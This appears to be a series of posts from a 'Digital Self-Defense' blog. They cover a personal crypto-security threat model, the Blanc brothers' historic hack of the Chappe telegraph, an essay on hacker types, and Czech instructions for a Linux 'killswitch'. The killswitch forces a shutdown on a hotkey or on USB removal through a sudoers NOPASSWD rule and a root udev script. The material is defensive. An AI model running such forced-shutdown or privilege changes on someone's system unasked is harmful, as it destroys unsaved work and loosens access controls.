• Capabilities: Legal measures, access to public and private databases
• Attack Methods: Court orders, asset seizure, audits

Competitors

• Motivation: Gaining competitive advantage, financial gain
• Capabilities: Industrial espionage, social engineering
• Attack Methods: Infiltration, misinformation, market manipulation

Close Associates

• Motivation: Personal interests, possible financial gain
• Capabilities: Access to personal devices, knowledge of personal information
• Attack Methods: Using known passwords, accessing unsecured devices

Assets

Crypto Wallet

• Importance: High
• Attack Types: Phishing, malware, physical access
• Mitigations: Hardware wallet, 2FA, strong passwords

Transaction History

• Importance: Medium
• Attack Types: IP tracking, exchange compromise
• Mitigations: Use of VPN, decentralized exchanges

Investment Strategy

• Importance: Medium to High
• Attack Types: Social engineering, industrial espionage
• Mitigations: Limiting information sharing, using encrypted communication

3. Vulnerabilities

Using Online Wallets with Low Security

• Description: Online wallets are often targeted by attacks, especially if not properly secured.
• Actors: Hackers, competitors
• Attack Types: Phishing, brute-force attacks
• Mitigations: Switching to a hardware wallet, using 2FA

Unsecured Wi-Fi Network

• Description: Using unsecured Wi-Fi networks can allow attackers easy access to your data.
• Actors: Hackers, close associates
• Attack Types: Man-in-the-middle attacks, sniffing
• Mitigations: Use of VPN, connecting only to trusted networks

Using Outdated Software

• Description: Old or outdated software may contain vulnerabilities that can be exploited for infiltration.
• Actors: Hackers, regulatory bodies
• Attack Types: Exploitation of known vulnerabilities
• Mitigations: Regular software updates, application of security patches

Insufficient Two-Factor Authentication (2FA)

• Description: Absence or poor implementation of 2FA can lead to easy access to sensitive data.
• Actors: Hackers, close associates
• Attack Types: Brute-force attacks, SIM swapping
• Mitigations: Activation and proper configuration of 2FA

Insufficient OPSEC (Operational Security)

• Description: Insufficient OPSEC may include poor handling of passwords, keys, and other sensitive data.
• Actors: All
• Attack Types: Social engineering, phishing
• Mitigations: Cybersecurity education, use of a password manager

4. Attack Vectors

Phishing Attacks

• Description: Attacks that aim to obtain sensitive information through fraudulent emails or websites.
• Actors: Hackers, competitors
• Vulnerabilities: Insufficient OPSEC, using online wallets with low security
• Mitigations: Cybersecurity education, use of 2FA

Man-in-the-Middle Attacks

• Description: Attacks where the attacker eavesdrops on or manipulates communication between two parties.
• Actors: Hackers, regulatory bodies
• Vulnerabilities: Unsecured Wi-Fi network, outdated software
• Mitigations: Use of VPN, encryption of communication

Social Engineering

• Description: Manipulating people to obtain sensitive information or system access.
• Actors: Competitors, close associates
• Vulnerabilities: Insufficient OPSEC, insufficient 2FA
• Mitigations: Cybersecurity education, limiting information sharing

SIM Swapping

• Description: An attack in which the attacker gains control of the target’s SIM card.
• Actors: Hackers
• Vulnerabilities: Insufficient 2FA, insufficient OPSEC
• Mitigations: Use of hardware-based 2FA, high level of OPSEC

5. Measures

Using a Hardware Wallet

• Description: Hardware wallets provide a high level of security for storing cryptocurrencies.
• Actors: Hackers
• Suitable for: Protecting the crypto wallet
• How to Implement: Purchase a reputable hardware wallet such as Ledger or Trezor and transfer your cryptocurrencies to it.

Using a VPN

• Description: A VPN provides anonymity and security when browsing the internet.
• Actors: Regulatory bodies, hackers
• Suitable for: Protecting transaction history, securing Wi-Fi
• How to Implement: Choose a trusted VPN provider and enable it when connecting to the internet.

Activation and Proper Configuration of 2FA

• Description: Two-factor authentication adds an additional layer of security.
• Actors: Hackers, close associates
• Suitable for: Protecting the crypto wallet, securing online accounts
• How to Implement: Enable 2FA on all important accounts and use an app like Google Authenticator or a hardware key like YubiKey.

Cybersecurity Education

• Description: Education and awareness are key to recognizing and preventing attacks.
• Actors: All
• Suitable for: Protection against all types of attacks
• How to Implement: Take cybersecurity courses, read current news and articles, and participate in webinars and conferences.

6. Conclusion

This personal threat model is the first step toward ensuring my cybersecurity in the field of cryptocurrencies. I plan to regularly update this document and implement new security measures according to the evolving threat landscape.
“`

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Chappe’s Telegraph

In 1794, French inventor Claude Chappe came up with a system of visual semaphore telegraphs. By adjusting flexible arms placed on a tower (mast), it was possible to display letters, numbers and some special characters, such as the beginning and end of a communication or the deletion of the last character in case of a typo. In this case, rather “misbending”.

The individual towers were spaced apart so that one could be seen from one to the next. Thus, the message could spread from one tower to the next until it reached its destination. It is reported that the speed of the message was up to 500 km per hour.

In France, a network of Chappe visual telegraphs was built during the 19th century to serve the needs of the state (and especially the army). For example, there were 58 stations on the route between Paris and Brest. But ordinary citizens could not use the services of this communication network.

The communications even used end-to-end encryption. Since military secrets were being transmitted via the telegraph network, it was not very appropriate for anyone with a view of the telegraph tower to be able to read the communications. Thus, the sender and receiver had an agreed key with which to encrypt their messages. The tower operators along the way just repeated the encrypted message character by character without being able to decipher what the contents of the message were. The sender and recipient of the message thus had more privacy in 1800 than Facebook Messenger users in 2021 (more on messenger encryption here).

François and Louis Blanc

The Blanc brothers traded government bonds on the Bordeaux stock exchange. In such trading, speed of information is crucial – whoever has faster news from a central point of action (in this case Paris) has an advantage over other traders because they can better anticipate stock market movements.

Traditionally, news from Paris to Bordeaux was sent by stagecoach, which took five days. Some merchants tried to shorten this time by using carrier pigeons or hiring messengers. This was faster, but not significantly so. It was certainly not enough for the Blanc brothers. They knew there was a much faster way to communicate over long distances. But it was reserved for the army, and merchants could not use it. So most merchants continued to think about improving the aerodynamics of the pigeon. But the Blanc brothers were hackers (though they didn’t claim to be on Twitter, according to available sources). So they didn’t give up on the idea of using Chappe’s telegraph network.

The Plan

The telegraph operators were probably not the best-paid employees in France. So the solution might be good old-fashioned corruption.
But if the Blanc brothers wanted to send messages in the standard way, they would have to bribe all the operators on their way from Paris to Bordeaux. Which could get expensive.
So they had to figure out how to solve this expensive inconvenience.
As mentioned above, the system included a symbol to erase the last character – the operator writes down the characters as he sees them on the semaphore and if he sees the erase symbol, he simply erases the last character and moves on.
This is what the hackers decided to take advantage of. They will send secret messages by following “their” character embedded in a regular army message with an erase character. Anyone who sees the semaphore can see this character, but the terminal tower operator will erase it from the paper (or not write it at all). Thus the message will be passed on while leaving no written evidence of it.

Socks as a data carrier

There was one more problem to solve. On the way from Paris to Bordeaux, there was still a tower in Tours (about 200 km from Paris) where messages were decoded and forwarded on without error. So the messages had to be sent from here. And they must have gotten to Tours somehow unobtrusively.
Fortunately, there was no need to send some extensive novels (that wouldn’t even be possible in this scenario), just a few arranged signals. And so parcels were sent to Tours from Paris containing clothes. The type of clothing (gloves, socks, ties) that was marked in the accompanying letter indicated whether a title was falling or rising in the stock market, and the color in turn the amount of change.

Hack

The hacking may have begun. An accomplice in Paris, according to the changes in the stock market, put the clothes in a package and sent it to Tours. There, the bribed telegraph operator (he received a one-off 1500 francs for his involvement in the conspiracy, then 150 francs every month, plus a bonus of 20 francs for each message transmitted) sent a message with “errors” inserted.
At the tower near Bordeaux, another accomplice waited with a telescope, watching the telegraph and writing down the characters that were marked as erroneous. And thus the messages reached our merchants, who were several days ahead of the others.

Disclosure

The system worked perfectly for two years. A total of 121 messages (and packages of clothes) were sent this way. Surprisingly, the sudden wealth of the telegraph operators (the normal daily wage of an operator was 1.50 francs) did not arouse suspicion.
The truth only came out when one of the operators fell ill and confided the whole matter to a friend before his death.
Surprisingly, the Blanc brothers suffered no consequences. French legislation simply did not prohibit the insertion of one’s own messages into the telegraph system. It didn’t occur to the legislators of the time.
And so they were later to become successful casino operators (including the Monte Carlo casino in Monaco).

As can be seen from the first documented hacking attack, the weakest link in security tends to be human.

Resources:

https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe
https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc
https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html
https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item

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So who are the dreaded hackers, can I identify them and what do they have in common?

Hackers come from different backgrounds, different parts of the world and different social classes. You can’t generally say that the typical hacker is a twenty-five-year-old white guy, addicted to caffeine from energy drinks, who doesn’t get along with his peers and spends all his free time in a dark basement surrounded by computers.
What most hackers have in common, however, is the ability to use things in ways other than how they were intended and to circumvent obstacles. Whether it’s physical, technological or psychological.
In the beginning, it’s curiosity. How the world around us works, how different tools work and how the human mind works. And if the object of interest has any weaknesses in its design that can be exploited or abused (this is often a rather subjective assessment).

Opening the lock

When you want to open a classic lock, it’s a good idea to know how its mechanism works first. Then you can use the tools and techniques to open it without a key. Or you can simply use explosives. While this can be fancy, it has a few minor drawbacks. Someone may notice and have strange questions like if the door is yours, why you don’t unlock it normally, and where you got the untaxed explosive. Sometimes it can also be handy so that the owner of the lock doesn’t even find out in the future that it was unlocked (it’s pretty hard to lock after using explosives). Well, and it can also happen that the explosion will destroy what is behind the lock and what you are doing it for in the first place. Not to mention that if handled carelessly, it can radically reduce the number of your favorite limbs.
That’s why it’s quite handy to know that there’s a mechanism in the lock that can be opened fairly quickly, quietly, and without further consequence. Therefore, hackers are usually very familiar with the systems they are attacking. As we will show later, this does not mean that the hacker has to be a computer genius. There is room for hackers in almost every field.
After all, hacking isn’t just getting into places we shouldn’t. It can also be the ability to use things differently. For example, the recently popular biohacking is not about sneaking into (preferably) your own body and taking something there. Rather, we’re trying to improve the processes that happen there.
I’ll stick to describing hacking in the most familiar IT sector, but basically anything can be applied elsewhere in some way.

Hackers, fashion and the state

Because the world needs pigeonholes, hackers have also started to divide themselves into groups: black hat, white hat and grey hat. This designation was taken from Hollywood Westerns of the 1920s, where there was an unwritten convention that heroes wore white hats and villains wore black hats. At least that’s what Wikipedia says.

Black hat hackers are the equivalent of the negative heroes of the wild west. They use their knowledge to enrich themselves or harm their victims. A black hat hacker will break into your bank account and take your money, install a webcam tracking program on your computer or crash your company’s website.

A special subset of black hat hackers are state-organized hackers. These are usually employees or contractors of the secret services or military who are tasked with cyber attacks on targets outside the territory of the state. Compared to independent hackers, they have a big advantage in that they have access to the best technology or other resources and can thus afford attacks that are unavailable to others. But this topic deserves its own article. So more about that some other time.

A white hat hacker will also hack into your company’s website. But there is one significant difference. He will only do it with your permission. That’s why they’re also called ethical hackers. Why would you give your consent? Precisely because you want to know if your business is secure against such an attack. If a white hat hacker succeeds in such a penetration, he will do you no harm. On the contrary, you’ll get a precise description from him of what needs to be fixed so that no one else can get in. And you pay him for it. That’s called penetration testing. White hat hackers often set up companies to help their customers improve the security of their systems.

Grey Hat hacker – often claimed to be something in between. But rarely do you learn what it means to be something in between. Can someone be just a little bit of a thief? It’s more likely that the line between white hat and black hat is blurry. A hacker may pose as a white hat, but there is a suspicion that he is also using his knowledge and skill unethically. Alternatively, he attacks companies, organisations or even states without their consent or knowledge, but he is motivated (sometimes subjectively) by good reasons. He may be an environmental activist, a human rights campaigner or even a religious fanatic.

Legal versus ethical

At the same time, we need to distinguish between legality and ethics. Laws are different in different parts of the world. Here in Europe, for example, there are different rules almost every 500km. What is legal in Prague may be criminal in Vienna. And because the Internet has no borders, it makes it even more complicated for judging. In countries like North Korea, for example, any use of a computer is illegal in most cases. Therefore, it is not possible to judge hackers according to local national law. Especially at a time when nation states are starting to lose their meaning.

Blind shooters and non-state armies

There is another group. They are not hackers in the true sense of the word. More like wannabe hackers. They’re known as “Script kiddies”. Today, there are a large number of hacking tools on the Internet that are freely downloadable. And it can be tempting to look like a hacker in front of your buddy. It’s not difficult to download a program, press the imaginary “Hack it!” button. But the attacker usually gets nothing. Because even with these tools, you need to work with purpose and precision. On the other hand, even if he doesn’t gain anything, he can still do some damage (corrupt the database, delete important files, overwhelm the network, etc.). Therefore, it is important to protect systems even against such amateur attacks.

In the cyber world we can also find non-state organised hacking groups. They are actually small armies of hackers who have a common goal and try to achieve it by joining forces. However, this does not necessarily mean that these groups meet in secret places and carry out their attacks (ethical or unethical) from there. The individual members often do not know each other personally. They may be scattered all over the world, operating under aliases, and all they need to know about each other is their abilities. This ensures, among other things, their physical safety. If a member of the group is discovered, they can’t reveal anything important about their colleagues.

I want to become a hacker

A common question is how one can become a hacker. The answer is not simple and certainly not universal. Hacking is about learning and deepening your knowledge every day. Basically, anyone who is an expert in their field and has the desire to keep improving and delving into every detail can become a hacker. There isn’t even a clear line where we can say that we (or anyone else) is a hacker. While there are various courses and certifications, even that is not a prerequisite. A certificate doesn’t necessarily make you a hacker if you don’t keep doing it, and on the other hand, the lack of one (it costs time and money) doesn’t mean you’re not a hacker.

Well then, how do I open the lock?

It’s not hard and after practicing it can go fairly quickly. But this is just a basic technique, it’s more or less a sport (yes, there are competitions). Professional thieves hardly use it.

See the video for instructions, and I’ll tell you how to defend your digital locks

The post Hackers – who are we defending ourselves against? appeared first on DIGITAL SELF-DEFENSE.

Video sérii naleznete na tomto odkazu

Jednotlivé díly:

The post Videosérie Digitální Sebeobrany appeared first on DIGITAL SELF-DEFENSE.

Klávesová zkratka

1. V textovém editoru vytvoříme skript, který zavolá okamžité vypnutí počítače. Pro otestování prozatím zakomentujeme příkaz pro vypnutí a vložíme kód pro zapsání textu do souboru killswitch.sh:
   #!/bin/bash
t=$(date);
echo $t > /home/ross/tools/killswitch/test;
#sudo poweroff -f

2. Pomocí příkazu chmod nastavíme právo pro spuštění:
   $ chmod +x ./killswitch.sh
3. Zkontrolujeme práva:
   $ ls -al
total 12
drwx------ 2 ross ross 4096 31. led 16.23 .
drwx------ 5 ross ross 4096 26. led 15.35 ..
-rwx------ 1 ross ross 100 31. led 16.17 killswitch.sh

4. Nastavíme klávesovou zkratku, která zavolá náš skript. Toto se může lišit podle prostředí. Toto je příklad pro Gnome: Settings -> Keyboard Shortcuts -> + (úplně dole)
   1. Name: cokoliv
   2. Command: Cesta k našemu skriptu
   3. Shortcut: po kliknutí stiskněte požadovanou klávesovou zkratku
   4. Klikněte na “Add”
5. Test: stiskněte vybranou klávesovou zkratku. Nově vytvořený soubor test by měl obsahovat aktuální čas. Pokud ne, něco je špatně:)
6. Upravíme skript pro “ostrý provoz”:
   #!/bin/bash
#t=$(date;echo $USER);
#echo $t > /home/ross/tools/killswitch/test;
sudo poweroff -f
7. Pro zavolání příkazu sudo poweroff -f jsou potřeba administrátorská práva. To můžeme obejít vložením nasledujícího řádku do souboru /etc/sudoers:
   ross ALL = NOPASSWD: /sbin/poweroff
   (poweroff -f zabrání vyskakování potvrzovacích oken a vypne počítač okamžitě)
8. Uložíme rozdělanou práci a otestujeme klávesovou zkratku.

 Vypnutí po odpojení USB zařízení

1. Připojíme do USB portu zařízení, které chceme použít jako náš killswitch.
2. Spustíme monitoring připojení zařízení:
   $ udevadm monitor --property
3. USB zařízení odpojíme z počítače, v terminalu by se měl zobrazit výpis podobný tomuto:
   (...)
UDEV [18888.225725] remove /devices/pci0000:00/0000:00:14.0/usb1/1-2 (usb)
ACTION=remove
DEVPATH=/devices/pci0000:00/0000:00:14.0/usb1/1-2
SUBSYSTEM=usb
DEVNAME=/dev/bus/usb/001/038
DEVTYPE=usb_device
PRODUCT=950/6535/110
TYPE=0/0/0
BUSNUM=001
(...)
4. V textovém editoru vytvoříme pravidlo pro zařízení (jako root):
   $ sudo vim /etc/udev/rules.d/85-my_killswitch_rule.rules
5. Do souboru vložíme následující řádek:
   ACTION=="remove", ENV{PRODUCT}=="950/6535/110", RUN+="/root/killswitch.sh"(obsah proměnné ENV{PRODUCT} zkopírujeme z výpisu příkazu udevadm monitor --property)
6. Aktualizujeme pravidla (root):$ sudo udevadm control --reload-rules
7. Jako root vytvoříme v textovém editoru skript /root/killswitch.sh s tímto obsahem:
   #!/bin/sh
t=$(date);
echo $t > /root/test
#shutdown now
   (pozor, skript bude se spouštět pod uživatelem root! Pokud by se někdo dostal k tomuto skriptu, mohl by ho upravit a získat administrátorská práva. Proto musí být pro “běžného” uživatele nedostupný pro zápis.)
8. Přidáme atribut pro  spuštění
   # chmod +x /root/killswitch.sh
9. Otestujeme.
10. Ve skriptu odkomentujeme poslední řadek (vymazáním #).
11. Připraveno k ostrému testu.

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